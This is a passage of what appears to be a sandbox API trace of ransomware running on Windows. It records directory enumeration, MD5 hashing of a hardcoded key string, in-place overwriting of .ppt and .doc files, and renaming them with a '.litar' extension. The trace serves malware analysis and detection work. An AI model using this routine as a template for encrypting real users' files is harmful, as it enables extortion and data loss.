0x30e8ae0 [0126.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.558] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.558] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.559] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.560] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\") returned="RrMc-y7gilA\\" [0126.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.560] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\") returned="38Tocm\\" [0126.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0126.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.560] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0126.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0126.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0126.561] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0126.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0126.561] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.561] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.561] PathFindFileNameW (pszPath="") returned="" [0126.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.561] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x999d8e30, ftCreationTime.dwHighDateTime=0x1d4c6ef, ftLastAccessTime.dwLowDateTime=0xfe776e80, ftLastAccessTime.dwHighDateTime=0x1d4d427, ftLastWriteTime.dwLowDateTime=0xfe776e80, ftLastWriteTime.dwHighDateTime=0x1d4d427, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.563] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.563] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x999d8e30, ftCreationTime.dwHighDateTime=0x1d4c6ef, ftLastAccessTime.dwLowDateTime=0xfe776e80, ftLastAccessTime.dwHighDateTime=0x1d4d427, ftLastWriteTime.dwLowDateTime=0xfe776e80, ftLastWriteTime.dwHighDateTime=0x1d4d427, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.563] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe04915b0, ftCreationTime.dwHighDateTime=0x1d4c7ae, ftLastAccessTime.dwLowDateTime=0x17d33d0, ftLastAccessTime.dwHighDateTime=0x1d4d20c, ftLastWriteTime.dwLowDateTime=0x17d33d0, ftLastWriteTime.dwHighDateTime=0x1d4d20c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0cFh2o", cAlternateFileName="")) returned 1 [0126.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074fd8 [0126.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16c) returned 0x308d780 [0126.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075070 [0126.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0126.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a05a8 [0126.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075108 [0126.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0126.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075238 [0126.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcf18 [0126.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.563] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.563] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f633d0 | out: hHeap=0x5c0000) returned 1 [0126.563] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0126.563] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0126.564] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3002c60 | out: hHeap=0x5c0000) returned 1 [0126.564] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff4a40 | out: hHeap=0x5c0000) returned 1 [0126.564] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f96f08 | out: hHeap=0x5c0000) returned 1 [0126.564] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd068 | out: hHeap=0x5c0000) returned 1 [0126.564] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.564] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0126.564] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0126.564] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074fd8 | out: hHeap=0x5c0000) returned 1 [0126.564] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.564] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21727f10, ftCreationTime.dwHighDateTime=0x1d4c61d, ftLastAccessTime.dwLowDateTime=0x910c5420, ftLastAccessTime.dwHighDateTime=0x1d4c9a8, ftLastWriteTime.dwLowDateTime=0x910c5420, ftLastWriteTime.dwHighDateTime=0x1d4c9a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0hH2Yg pWVEr", cAlternateFileName="0HH2YG~1")) returned 1 [0126.564] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.564] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd6) returned 0x2fd16f0 [0126.564] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.564] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd068 [0126.564] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0126.564] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd068 | out: hHeap=0x5c0000) returned 1 [0126.564] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0126.564] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a6f6180, ftCreationTime.dwHighDateTime=0x1d4cdeb, ftLastAccessTime.dwLowDateTime=0x9e4b2a20, ftLastAccessTime.dwHighDateTime=0x1d4c562, ftLastWriteTime.dwLowDateTime=0x9e4b2a20, ftLastWriteTime.dwHighDateTime=0x1d4c562, nFileSizeHigh=0x0, nFileSizeLow=0xba3d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0X9H7M.ppt", cAlternateFileName="")) returned 1 [0126.564] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.564] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.564] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.564] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0X9H7M.ppt") returned=".ppt" [0126.564] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0X9H7M.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0x9h7m.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.564] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=47677) returned 1 [0126.565] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.566] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xba17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.566] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.568] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.568] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xba3d, lpOverlapped=0x0) returned 1 [0126.569] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.569] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.569] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.569] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.570] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.570] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.570] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.570] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.570] GetLastError () returned 0x0 [0126.570] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.570] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xba40) returned 0x30fa0b0 [0126.570] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.570] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xba38, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xba38, lpOverlapped=0x0) returned 1 [0126.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.570] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xba3d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0126.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0126.571] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.571] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.571] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.571] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.571] CloseHandle (hObject=0x624) returned 1 [0126.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.572] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0X9H7M.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0x9h7m.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0X9H7M.ppt.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0x9h7m.ppt.litar")) returned 1 [0126.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.572] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.573] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.573] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3beecb70, ftCreationTime.dwHighDateTime=0x1d4c5a8, ftLastAccessTime.dwLowDateTime=0xcaa09730, ftLastAccessTime.dwHighDateTime=0x1d4c720, ftLastWriteTime.dwLowDateTime=0xcaa09730, ftLastWriteTime.dwHighDateTime=0x1d4c720, nFileSizeHigh=0x0, nFileSizeLow=0x55a2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8RDB7k.doc", cAlternateFileName="")) returned 1 [0126.573] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.573] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.573] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.573] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\8RDB7k.doc") returned=".doc" [0126.573] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\8RDB7k.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\8rdb7k.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.574] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=21922) returned 1 [0126.574] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.576] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x557c, lpNewFilePointer=0x0, 